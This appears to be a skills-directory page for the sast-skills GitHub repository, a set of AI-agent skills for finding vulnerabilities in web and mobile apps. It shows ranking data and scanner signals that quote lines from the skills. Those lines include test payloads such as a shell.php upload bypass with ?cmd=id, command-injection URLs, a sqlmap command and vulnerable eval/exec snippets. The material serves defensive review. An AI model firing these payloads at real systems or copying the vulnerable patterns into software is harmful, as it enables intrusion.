#702 by GitHub stars

utkusen/sast-skills

Collection of agent skills to find vulnerabilities inside your web/mobile apps.

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

sast-files/.agents/skills/sast-analysis/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.agents/skills/sast-businesslogic/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.agents/skills/sast-fileupload/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.agents/skills/sast-graphql/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.agents/skills/sast-hardcodedsecrets/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.agents/skills/sast-idor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.agents/skills/sast-jwt/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.agents/skills/sast-missingauth/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.agents/skills/sast-pathtraversal/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.agents/skills/sast-rce/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.agents/skills/sast-report/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.agents/skills/sast-sqli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.agents/skills/sast-ssrf/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.agents/skills/sast-ssti/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.agents/skills/sast-xss/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.agents/skills/sast-xxe/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.claude/skills/sast-analysis/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.claude/skills/sast-businesslogic/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.claude/skills/sast-fileupload/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.claude/skills/sast-graphql/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.claude/skills/sast-hardcodedsecrets/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.claude/skills/sast-idor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.claude/skills/sast-jwt/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.claude/skills/sast-missingauth/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.claude/skills/sast-pathtraversal/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.claude/skills/sast-rce/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.claude/skills/sast-report/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.claude/skills/sast-sqli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.claude/skills/sast-ssrf/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.claude/skills/sast-ssti/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.claude/skills/sast-xss/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

sast-files/.claude/skills/sast-xxe/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

3a5bf8f0efe3 → 3a5bf8f0efe3

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 3a5bf8f0efe3

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit 3a5bf8f0efe31d1d4731c164ca86abd9a3bbd166

git clone --filter=blob:none --no-checkout https://github.com/utkusen/sast-skills.git .hotskills/utkusen-sast-skills && git -C .hotskills/utkusen-sast-skills checkout --detach 3a5bf8f0efe31d1d4731c164ca86abd9a3bbd166 # Copy each selected skill directory from .hotskills/utkusen-sast-skills into .agents/skills/<skill-name>/
1.4kGitHub stars
5stars in 7 days
32skills in this repository
1commit in 30 days

Heat

4.9
  • Star growth, last 7 daysAhead of 66% of tracked repositories
  • Star growth, last 24 hoursAhead of 72% of tracked repositories
  • Rank movement, last 7 daysAhead of 21% of tracked repositories
  • Commits, last 30 daysAhead of 54% of tracked repositories
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekAhead of 0% of tracked repositories

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Aug 2, 2026Nov 6, 20261,358

Individual skills in this repository

How it works

sast-analysis

When your agent uses it

Perform codebase analysis and architecture mapping as the first phase of a security assessment. Explores the tech stack, frameworks, entry points, data flows, and trust boundaries. Outputs sast/architecture.md. Run this before any vulnerability detection skill. Use when asked to analyze a codebase for security or when sast/architecture.md does not yet exist.

What it loads into context

Frontmatter

87 tokens

Always available to the agent

SKILL.md

897 tokens

When the skill is activated

Reference documents

0 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. Phase 1: Technology Reconnaissance
  2. Phase 2: Architecture Mapping
  3. Important Reminders

Files

  • SKILL.mdcore4,056 bytes
  • SKILL.mdcore4,056 bytes
  • SKILL.mdcore4,056 bytes
Read SKILL.md

# Codebase Analysis

You are performing the first phase of a security assessment. Your goal is to deeply understand the codebase. You are NOT looking for specific vulnerabilities yet. This is pure reconnaissance.

Create a `sast/` folder in the project root (if it doesn't already exist). This phase produces one output file inside it:

`sast/architecture.md` — technology stack, architecture, entry points, data flows

## Phase 1: Technology Reconnaissance

Explore the codebase and identify:

- **Languages**: All programming languages used and their versions if specified
- **Frameworks**: Web frameworks, ORM layers, template engines, task queues
View the complete source on GitHub

Skills included

  • sast-analysis
  • sast-businesslogic
  • sast-fileupload
  • sast-graphql
  • sast-hardcodedsecrets
  • sast-idor
  • sast-jwt
  • sast-missingauth
  • sast-pathtraversal
  • sast-rce
  • sast-report
  • sast-sqli
  • sast-ssrf
  • sast-ssti
  • sast-xss
  • sast-xxe
  • sast-analysis
  • sast-businesslogic
  • sast-fileupload
  • sast-graphql
  • sast-hardcodedsecrets
  • sast-idor
  • sast-jwt
  • sast-missingauth
  • sast-pathtraversal
  • sast-rce
  • sast-report
  • sast-sqli
  • sast-ssrf
  • sast-ssti
  • sast-xss
  • sast-xxe

Repository facts

License
MIT
Created
Mar 30, 2026
Last pushed
Oct 23, 2026
Forks
68
Open issues
0
Project activity
Active

Rank over the last 12 weeks

Now #702 · best #483 · down 105 in 30 days

  1. #686 on Nov 1
  2. #690 on Nov 2
  3. #694 on Nov 3
  4. #696 on Nov 4
  5. #699 from Nov 5 to Nov 6
  6. #702 since Nov 7
60 earlier periods
  1. #469 on Aug 2
  2. #476 on Aug 8
  3. #477 on Aug 9
  4. #498 on Aug 10
  5. #494 on Aug 11
  6. #491 on Aug 12
  7. #499 on Aug 14
  8. #487 on Aug 16
  9. #491 on Aug 17
  10. #503 on Aug 18
  11. #500 on Aug 20
  12. #499 on Aug 21
  13. #483 on Aug 22
  14. #505 on Aug 23
  15. #506 on Aug 24
  16. #512 on Aug 25
  17. #505 on Aug 26
  18. #518 from Aug 27 to Aug 28
  19. #496 on Aug 30
  20. #521 on Sep 1
  21. #517 on Sep 2
  22. #526 on Sep 3
  23. #509 on Sep 4
  24. #502 on Sep 5
  25. #516 on Sep 6
  26. #517 on Sep 7
  27. #536 on Sep 8
  28. #525 on Sep 9
  29. #530 on Sep 10
  30. #524 on Sep 11
  31. #518 on Sep 13
  32. #538 on Sep 14
  33. #527 on Sep 15
  34. #537 on Sep 17
  35. #540 on Sep 18
  36. #523 on Sep 19
  37. #535 on Sep 20
  38. #542 on Sep 23
  39. #575 on Sep 29
  40. #562 on Sep 30
  41. #551 on Oct 1
  42. #554 on Oct 5
  43. #566 on Oct 6
  44. #597 on Oct 8
  45. #589 on Oct 9
  46. #575 on Oct 11
  47. #586 on Oct 12
  48. #589 on Oct 13
  49. #600 on Oct 14
  50. #597 on Oct 15
  51. #607 on Oct 16
  52. #612 on Oct 19
  53. #622 on Oct 20
  54. #607 on Oct 23
  55. #598 on Oct 24
  56. #669 on Oct 25
  57. #679 on Oct 28
  58. #681 on Oct 29
  59. #683 on Oct 30
  60. #687 on Oct 31

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 3, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 200 notes
  • sast-files/.agents/skills/sast-analysis/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-analysis/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-fileupload/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-fileupload/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-fileupload/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-fileupload/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-fileupload/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-fileupload/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-fileupload/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-fileupload/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-fileupload/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-fileupload/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-fileupload/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-graphql/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-graphql/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-hardcodedsecrets/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-hardcodedsecrets/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-hardcodedsecrets/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-hardcodedsecrets/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • sast-files/.agents/skills/sast-hardcodedsecrets/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 450 signals by file

sast-files/.agents/skills/sast-businesslogic/SKILL.md

  • Network accessline 296
    > - **Dynamic Test**: >   ``` >   [Step-by-step instructions or curl commands to confirm the finding on the live app.
  • Network accessline 297
    >   ``` >   [Step-by-step instructions or curl commands to confirm the finding on the live app. >    Include exact HTTP method, endpoint, headers, and request body.
  • Network accessline 298
    >   [Step-by-step instructions or curl commands to confirm the finding on the live app.
  • Network accessline 312
    > - **Dynamic Test**: >   ``` >   [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.]
  • Network accessline 313
    >   ``` >   [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.] >   ```
  • Network accessline 314
    >   [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.]

sast-files/.agents/skills/sast-fileupload/SKILL.md

  • Network accessline 108
    # VULNERABLE: content-type only check (trivially bypassed with curl -H)
  • Network accessline 528
    > - **Dynamic Test**: >   ``` >   [curl or HTTP request demonstrating the bypass.
  • Network accessline 529
    >   ``` >   [curl or HTTP request demonstrating the bypass. >    Example: curl -X POST https://app.example.com/upload \
  • Network accessline 530
    >   [curl or HTTP request demonstrating the bypass.
  • Network accessline 531
    >    Example: curl -X POST https://app.example.com/upload \
  • Network accessline 532
    >      -F "file=@shell.php;type=image/png" \ >      then access: https://app.example.com/static/uploads/shell.php?cmd=id] >   ```
  • Network accessline 533
    >      then access: https://app.example.com/static/uploads/shell.php?cmd=id]

sast-files/.agents/skills/sast-graphql/SKILL.md

  • Network accessline 84
    const fragment = req.body.fragment;   const query = `query { me { ${fragment} } }`;   const data = await fetch('https://api.internal/graphql', {
  • Network accessline 85
    const query = `query { me { ${fragment} } }`;   const data = await fetch('https://api.internal/graphql', {     method: 'POST',
  • Network accessline 86
    const data = await fetch('https://api.internal/graphql', {
  • Network accessline 93
    const PROXY_QUERY = `query ProxyMe { me { id name email } }`; app.post('/proxy', async (req, res) => {   const data = await fetch('https://api.internal/graphql', {
  • Network accessline 94
    app.post('/proxy', async (req, res) => {   const data = await fetch('https://api.internal/graphql', {     method: 'POST',
  • Network accessline 95
    const data = await fetch('https://api.internal/graphql', {
  • Network accessline 293
    > - **Dynamic Test**: >   ``` >   [curl or in-browser GraphQL request showing injected fragment/directive/field]
  • Network accessline 294
    >   ``` >   [curl or in-browser GraphQL request showing injected fragment/directive/field] >   ```
  • Network accessline 295
    >   [curl or in-browser GraphQL request showing injected fragment/directive/field]

sast-files/.agents/skills/sast-hardcodedsecrets/SKILL.md

  • Access to secretsline 116
    [Credential-related source omitted]
  • Access to secretsline 126
    [Credential-related source omitted]
  • Access to secretsline 128
    [Credential-related source omitted]
  • Access to secretsline 129
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 141
    [Credential-related source omitted]
  • Access to secretsline 143
    [Credential-related source omitted]
  • Access to secretsline 183
    [Credential-related source omitted]
  • Access to secretsline 194
    [Credential-related source omitted]
  • Access to secretsline 196
    [Credential-related source omitted]
  • Access to secretsline 405
    [Credential-related source omitted]

sast-files/.agents/skills/sast-idor/SKILL.md

  • Network accessline 393
    > - **Dynamic Test**: >   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app.
  • Network accessline 394
    >   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app. >    Include the exact endpoint, HTTP method, headers, and what to look for in the response.
  • Network accessline 395
    >   [curl command or step-by-step instructions to confirm this finding on the live app.
  • Network accessline 407
    > - **Dynamic Test**: >   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app.
  • Network accessline 408
    >   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app. >    Include the exact endpoint, HTTP method, headers, and what to look for in the response.
  • Network accessline 409
    >   [curl command or step-by-step instructions to confirm this finding on the live app.

sast-files/.agents/skills/sast-jwt/SKILL.md

  • Network accessline 99
    token, secret, algorithms=["HS256"],     options={"require": ["exp", "iss", "aud"]},     issuer="https://myapp.example.com",
  • Network accessline 100
    options={"require": ["exp", "iss", "aud"]},     issuer="https://myapp.example.com",     audience="myapp-api"
  • Network accessline 101
    issuer="https://myapp.example.com",
  • Network accessline 114
    # Only fetch keys from a known, trusted JWKS endpoint ALLOWED_JWKS_URLS = {"https://accounts.google.com/.well-known/jwks.json"}
  • Network accessline 115
    ALLOWED_JWKS_URLS = {"https://accounts.google.com/.well-known/jwks.json"}
  • Access to secretsline 142
    [Credential-related source omitted]
  • Access to secretsline 168
    [Credential-related source omitted]

sast-files/.agents/skills/sast-missingauth/SKILL.md

  • Network accessline 501
    > - **Dynamic Test**: >   ``` >   [curl command or step-by-step to confirm on the live app.
  • Network accessline 502
    >   ``` >   [curl command or step-by-step to confirm on the live app. >    For missing auth: show the request with NO token succeeding.
  • Network accessline 503
    >   [curl command or step-by-step to confirm on the live app.
  • Network accessline 516
    > - **Dynamic Test**: >   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app.]
  • Network accessline 517
    >   ``` >   [curl command or step-by-step instructions to confirm this finding on the live app.] >   ```
  • Network accessline 518
    >   [curl command or step-by-step instructions to confirm this finding on the live app.]

sast-files/.agents/skills/sast-pathtraversal/SKILL.md

  • Network accessline 467
    > - **Dynamic Test**: >   ``` >   [curl command or payload to confirm; show traversal and encoded variants as appropriate]
  • Network accessline 468
    >   ``` >   [curl command or payload to confirm; show traversal and encoded variants as appropriate] >   ```
  • Network accessline 469
    >   [curl command or payload to confirm; show traversal and encoded variants as appropriate]

sast-files/.agents/skills/sast-rce/SKILL.md

  • Dangerous shell operationline 34
    - Using `eval()`, `exec()`, `Function()`, or equivalent constructs with user-controlled strings
  • Dangerous shell operationline 135
    exec(`grep -r "${query}" /var/log/app/`, (err, stdout) => {
  • Dangerous shell operationline 209
    result = eval(expr)  # attacker can run __import__('os').system('id')
  • Dangerous shell operationline 216
    exec(code)  # full arbitrary code execution
  • Dangerous shell operationline 234
    const result = eval(formula);  // RCE: process.exit(), require('child_process')...
  • Possible obfuscationline 273
    data = base64.b64decode(session_cookie)
  • Possible obfuscationline 281
    user = json.loads(base64.b64decode(session_cookie))
  • Dangerous shell operationline 407
    > - `exec(var)`, `system(var)`, `passthru(var)`, `shell_exec(var)`, `popen(var, ...)`, `proc_open(var, ...)` — flag if any variable in command string
  • Dangerous shell operationline 411
    > - `system(var)`, `exec(var)`, `spawn(var)`, `IO.popen(var)`, `Open3.popen3(var)` — flag if string form with interpolated variable
  • Dangerous shell operationline 433
    > - `eval(var)` — flag if argument is a variable
  • Dangerous shell operationline 434
    > - `exec(var)` — flag if argument is a variable
  • Dangerous shell operationline 435
    > - `compile(var, ...)` followed by `exec()` — flag
  • Dangerous shell operationline 439
    > - `eval(var)` — flag if argument is a variable
  • Dangerous shell operationline 446
    > - `eval(var)` — always flag if variable in argument
  • Dangerous shell operationline 453
    > - `eval(var)`, `instance_eval(var)`, `class_eval(var)`, `module_eval(var)` — flag if variable
  • Network accessline 629
    > - **Dynamic Test**: >   ``` >   [curl command or payload to confirm the finding.
  • Network accessline 630
    >   ``` >   [curl command or payload to confirm the finding. >    Show the exact parameter, payload, and what to look for in the response.
  • Network accessline 631
    >   [curl command or payload to confirm the finding.
  • Network accessline 632
    >    Show the exact parameter, payload, and what to look for in the response. >    Examples: >      curl "https://app.example.com/ping?host=127.0.0.1;id"
  • Network accessline 633
    >    Examples: >      curl "https://app.example.com/ping?host=127.0.0.1;id" >      curl "https://app.example.com/ping?host=127.0.0.1%3Bid"
  • Network accessline 634
    >      curl "https://app.example.com/ping?host=127.0.0.1;id"
  • Network accessline 635
    >      curl "https://app.example.com/ping?host=127.0.0.1%3Bid"
  • Dangerous shell operationline 707
    - **For OS command sinks**: `subprocess.run(["cmd", var])` with list form and no `shell=True` is NOT command injection — the argument is passed directly to the process without shell interpretation. Only flag when shell interpretation is pos
  • Dangerous shell operationline 708
    - **For `eval`-like sinks**: there is almost no safe way to use `eval()` with user input. Any eval-like sink receiving external data should be flagged Vulnerable.
  • Dangerous shell operationline 711
    - Second-order RCE is possible: a value stored from user input may later be deserialized or evaluated in a different code path (e.g., a user-supplied config stored in DB and later `eval()`'d by a cron job).

sast-files/.agents/skills/sast-report/SKILL.md

  • Network accessline 160
    [curl command or step-by-step test instructions from original finding]

sast-files/.agents/skills/sast-sqli/SKILL.md

  • Network accessline 247
    function getUser($id) {     $stmt = $pdo->query("SELECT * FROM users WHERE id = " . $id);     return $stmt->fetch();
  • Network accessline 248
    $stmt = $pdo->query("SELECT * FROM users WHERE id = " . $id);     return $stmt->fetch(); }
  • Network accessline 249
    return $stmt->fetch();
  • Network accessline 254
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");     $stmt->execute(['id' => $id]);     return $stmt->fetch();
  • Network accessline 255
    $stmt->execute(['id' => $id]);     return $stmt->fetch(); }
  • Network accessline 256
    return $stmt->fetch();
  • Network accessline 455
    > - **Dynamic Test**: >   ``` >   [sqlmap command or manual curl payload. Show parameter, payload, expected response signal.
  • Network accessline 456
    >   ``` >   [sqlmap command or manual curl payload. Show parameter, payload, expected response signal. >    Example: sqlmap -u "https://app.example.com/search?q=test" -p q --dbs]
  • Network accessline 457
    >   [sqlmap command or manual curl payload. Show parameter, payload, expected response signal.
  • Network accessline 458
    >    Example: sqlmap -u "https://app.example.com/search?q=test" -p q --dbs]

sast-files/.agents/skills/sast-ssrf/SKILL.md

  • Network accessline 28
    - HTTP client calls where the URL or host is built from user input: `requests.get(user_url)`
  • Network accessline 29
    - Fetching a resource whose location is provided by the client: `fetch(req.body.webhook_url)`
  • Network accessline 53
    if parsed.hostname not in ALLOWED_HOSTS:     raise ValueError("Destination not allowed") requests.get(user_url)
  • Network accessline 55
    requests.get(user_url)
  • Network accessline 60
    ALLOWED_PREFIXES = ["https://api.example.com/", "https://cdn.example.com/"]
  • Network accessline 61
    if not any(user_url.startswith(p) for p in ALLOWED_PREFIXES):     abort(400) requests.get(user_url)
  • Network accessline 63
    requests.get(user_url)
  • Network accessline 68
    # Destination fully hardcoded — no user input involved response = requests.get("https://api.thirdparty.com/data")
  • Network accessline 69
    response = requests.get("https://api.thirdparty.com/data")
  • Network accessline 81
    # VULNERABLE: URL fully controlled by user @app.route('/fetch') def fetch():
  • Network accessline 82
    @app.route('/fetch') def fetch():     url = request.args.get('url')
  • Network accessline 83
    def fetch():
  • Network accessline 84
    url = request.args.get('url')     response = requests.get(url)     return response.text
  • Network accessline 85
    response = requests.get(url)
  • Network accessline 89
    ALLOWED = {"api.example.com"} @app.route('/fetch') def fetch():
  • Network accessline 90
    @app.route('/fetch') def fetch():     url = request.args.get('url')
